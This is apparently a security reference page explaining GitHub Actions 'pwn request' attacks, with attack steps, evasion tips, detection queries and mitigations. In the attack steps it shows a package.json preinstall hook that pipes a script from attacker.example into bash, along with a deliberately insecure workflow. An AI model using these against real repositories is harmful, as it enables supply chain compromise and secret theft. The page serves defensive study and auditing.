How it works
GitHub Actions has three triggers that react to a pull request, and they place the contributor's content in three different trust contexts.
pull_requestruns against the merge ref. When the pull request comes from a fork, GitHub does not pass secrets to the runner and theGITHUB_TOKENis read-only.pull_request_targetruns the workflow definition from the default branch of the base repository. The job gets a read and writeGITHUB_TOKENand can use the base repository's secrets, even when a public fork triggers it.GITHUB_SHAandGITHUB_REFpoint at the default branch, not at the pull request.workflow_runstarts a workflow in the base repository after another workflow is requested or completes. GitHub documents that the started workflow can access secrets and write tokens even if the earlier workflow could not.
pull_request_target exists so that maintainers can label, triage or comment on pull requests from forks, which needs write access. It is safe as long as the job only touches metadata. A pwn request happens when the privileged job also brings the contributor's code into its workspace and runs something from it. The usual line is a checkout of github.event.pull_request.head.sha or refs/pull/<number>/merge, followed by a build, a package install, a test run or a local action. From that point the pull request author is running code in a job that holds the repository's write token and secrets.
Variants of the same mistake:
workflow_runchaining. An unprivilegedpull_requestworkflow builds the fork's code and uploads an artifact. A privilegedworkflow_runworkflow downloads the artifact and executes or trusts it. See artifact and cache poisoning.- Comment triggered builds.
issue_commentalso runs from the default branch and fires for comments on pull requests. A "/test" style workflow that checks out the pull request head has the same exposure. - Approval races. A workflow gated on a label such as
safe to teststill races: the author can push new commits after a maintainer applies the label and before the job checks out the code. - Injection without checkout. A privileged job that interpolates the pull request title or branch name into a script is exploitable without any checkout. See workflow script injection.
Prerequisites
- A GitHub account. For a public repository nothing else is needed; for a private or internal repository the attacker needs read access so that they can fork it and open a pull request.
- A workflow on the default branch that triggers on
pull_request_target,workflow_runorissue_commentand then checks out, builds, installs or otherwise executes content from the pull request. - Something worth taking in the job: a
GITHUB_TOKENwith write scopes, repository or organization secrets,id-token: write, or a self-hosted runner.
The fork approval setting does not close this path. GitHub documents that workflows triggered by pull_request_target always run, regardless of the approval settings, because they run in the context of the base branch. Approval only holds back pull_request runs, which feed the workflow_run variant, and the default covers first-time contributors only.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find privileged workflows that consume pull request content
Static analysis of the workflow files is enough. zizmor flags the triggers and Gato-X follows the checkout and the steps after it:
# Audit a remote repository; dangerous-triggers flags pull_request_target, workflow_run and issue_comment
zizmor --gh-token $(gh auth token) octo-org/octo-repo
# Gato-X: one repository, or a list of repositories
export GH_TOKEN=<personal access token>
gato-x enumerate -r octo-org/octo-repo
gato-x e -R repositories.txt -oJ results.json
A manual check on a clone works too:
grep -rnE "pull_request_target|workflow_run|issue_comment" .github/workflows/
grep -rnE "github\.event\.pull_request\.head\.(sha|ref)|refs/pull/" .github/workflows/
A vulnerable workflow looks like this:
# INSECURE: privileged trigger plus checkout and build of the pull request head
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: |
npm install
npm run build
- uses: octo-org/deploy-preview@v1
with:
token: ${{ secrets.DEPLOY_TOKEN }}
2. Choose the execution point
Every file the job runs after the checkout belongs to the attacker. The Security Lab write-up lists the common ones: preinstall and postinstall scripts that npm install runs, build scripts and Makefiles, test files, and any script the workflow calls by path. The attacker picks the first one that executes.
3. Open the pull request from a fork
Fork the repository, change the chosen file, and open a pull request against the base repository. For example, in package.json:
{
"scripts": {
"preinstall": "curl -sSf https://attacker.example/stage.sh | bash"
}
}
The workflow definition is not touched. The run uses the trusted file from the default branch, and that file hands control to the fork's code.
4. Collect the credentials in the job
Inside the job, the payload has what the job has:
- The
GITHUB_TOKEN. Withactions/checkoutand its defaultpersist-credentials: true, the token is stored on disk and any later step can read it. Even without that, the token is in the runner's memory for the job. - Secrets that the workflow passes to any step, plus the ability to change later steps so they hand over more.
- An OIDC assertion, when the job has
id-token: write. See GITHUB_TOKEN and installation token abuse for the request and GitHub Actions OIDC role trust misconfiguration in AWS for what it buys. - The default-branch cache scope, which lets the payload plant entries that release workflows restore later.
5. Use the access before the job ends
The GITHUB_TOKEN expires when the job finishes, so the payload acts inside the run: it pushes a commit, moves a tag, uploads a release asset, approves a pull request or dispatches another workflow. Stolen secrets and long-lived cloud keys outlive the job and are used afterwards.
Impact
A pwn request turns an anonymous contributor into a writer of the repository. With contents: write the attacker changes source or release assets and every consumer of the project receives the result, which is a software supply chain compromise. With secrets the attacker reaches package registries, deployment targets and cloud accounts. It is a direct privilege escalation from no access to the identity of the organization's build system.
OPSEC and artifacts
- Closing the pull request and deleting the fork. Operators close the pull request right after the run starts and remove the fork. The workflow run, its jobs and its logs stay in the base repository until retention expires or someone deletes them, and the organization audit log keeps the run events.
- Quiet payloads. A payload that redirects its output keeps the job log clean. The log still records the checkout of the head SHA, the steps that ran and their duration.
- Deleting the run. An attacker who gains enough access to delete workflow runs or logs removes the job log. The deletion writes its own audit event, covered by the workflow run or logs deleted rules on the workflows.delete_workflow_run event.
- Run records. The audit log actions
workflows.created_workflow_run,workflows.prepared_workflow_jobandworkflows.completed_workflow_runcarry the repository, the actor and the time. They are available through the REST API, streaming and exports, not in the web audit log view. The run record addsevent,head_sha,run_attempt,actorandtriggering_actor. - Downstream use. Commits, tags, releases and package versions created with the stolen token carry the
github-actions[bot]identity. Cloud sign-ins made with stolen secrets appear in the cloud provider's logs, not in GitHub.
Detection
No single GitHub event says "untrusted code ran in a privileged job". Detection combines a posture check with run-level hunting.
- Find the exposure before the attacker does. Run zizmor or Gato-X across the organization on a schedule and treat every
pull_request_target,workflow_runorissue_commentworkflow that checks out pull request content as a finding. - Hunt in run history. List runs of the privileged triggers and compare each
headShawith commits that exist in the base repository. A privileged run whose head commit lives only in a fork deserves a look at its job log.
gh run list --repo octo-org/octo-repo --event pull_request_target \
--json databaseId,event,headBranch,headSha,conclusion,createdAt --limit 100
gh run view 1234567890 --repo octo-org/octo-repo --log
repo:octo-org/octo-repo action:workflows.prepared_workflow_job
- Watch the guard rails. The Actions token or fork pull request policy rules alert when someone widens the default token or changes the fork pull request workflow policy or the fork approval policy. The environment protection removed rules catch a removed reviewer gate.
- Watch what the job could write. Unexpected commits, tags or release assets by
github-actions[bot], and new or overwritten Actions secrets, are the visible results. See the Actions secret or variable changed rules.
Mitigation
- Do not run pull request code in a privileged job. Build and test with
pull_request, which gives forks a read-only token and no secrets. Keeppull_request_targetfor jobs that only read event metadata. - Split the work when you need both. Let the
pull_requestworkflow build and upload an artifact, and let aworkflow_runworkflow do the privileged part. Treat the artifact as untrusted data: extract it outside the workspace, validate it, and never execute it. - Declare minimal permissions. Set the default
GITHUB_TOKENto read-only for the organization and add scopes per job, following least privilege. A job withpermissions: {}has nothing to steal. - Put secrets behind environments with required reviewers and branch restrictions, so that a job started from a fork cannot reach deployment credentials without an approval.
- Require approval for all external contributors in the fork pull request settings, and review the diff, including lockfiles and build scripts, before approving a run. This protects
pull_requestruns and what they upload; it does not gatepull_request_target. - Add
.github/workflowsto CODEOWNERS and lint workflows in CI with zizmor so that a new dangerous trigger does not merge unnoticed. - Close or rebase open pull requests after fixing a workflow. Pull requests opened before the fix can still trigger the old behaviour.
Detection rules for this attack
Log events to collect
FAQ
What is a pwn request?
It is a pull request that gets its own code executed by a privileged workflow. The workflow is triggered by pull_request_target or workflow_run, so it runs with the base repository's write token and secrets, and then it checks out or consumes content the pull request author controls.
Is pull_request_target always dangerous?
No. A pull_request_target job that only reads event metadata, for example to label or comment on a pull request, never runs the contributor's code. The risk starts when the job checks out the pull request head and runs anything from it: a build, an install, tests, or a local action.
Does requiring approval for fork pull requests stop a pwn request?
Not for pull_request_target. GitHub documents that workflows triggered by that event always run, regardless of the approval settings, because they run in the context of the base branch. Approval only delays pull_request runs from outside contributors.
How is pull_request different from pull_request_target?
For a fork, pull_request runs on the merge ref with a read-only GITHUB_TOKEN and no secrets. pull_request_target runs the workflow from the base repository's default branch with a read and write token and access to secrets, even when a public fork triggers it.
References
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests (GitHub Security Lab)
- Events that trigger workflows: pull_request_target and workflow_run (GitHub Docs)
- Secure use reference (GitHub Docs)
- Compromise Software Supply Chain, T1195.002 (MITRE ATT&CK)
- Gato-X: GitHub Attack Toolkit, Extreme Edition
- zizmor: audit rules
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.